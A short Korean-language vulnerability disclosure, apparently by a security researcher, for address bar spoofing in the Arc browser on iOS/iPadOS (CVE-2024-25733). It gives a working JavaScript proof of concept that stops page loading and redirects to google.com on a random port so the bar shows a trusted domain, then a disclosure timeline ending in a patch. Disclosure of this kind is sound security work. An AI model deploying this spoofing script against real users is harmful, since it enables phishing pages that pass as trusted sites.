ARC 브라우저 주소 표시줄 스푸핑 - iOS/iPadOS (CVE-2024-25733)

ARC 브라우저 주소 표시줄 스푸핑 PoC - iOS/iPadOS

익스플로잇 PoC (개념 증명)

<script>
    function spoof() {
        setTimeout(() => {
            window.stop();
            let randomPort;
            do {
                randomPort = Math.floor(Math.random() * 1000);
            } while (randomPort === 0 || randomPort === 443);
            document.location = "https://google.com:" + randomPort + "/";
        }, 300);
    }
    spoof();
</script>

데모

PoC.mp4

타임라인

• 2024-01-25 : 취약점이 The Browser Company of New York에 보고됨
• 2024-01-25 : 보안 취약점으로 인정됨
• 2024-02-13 : 최신 릴리스에서 패치됨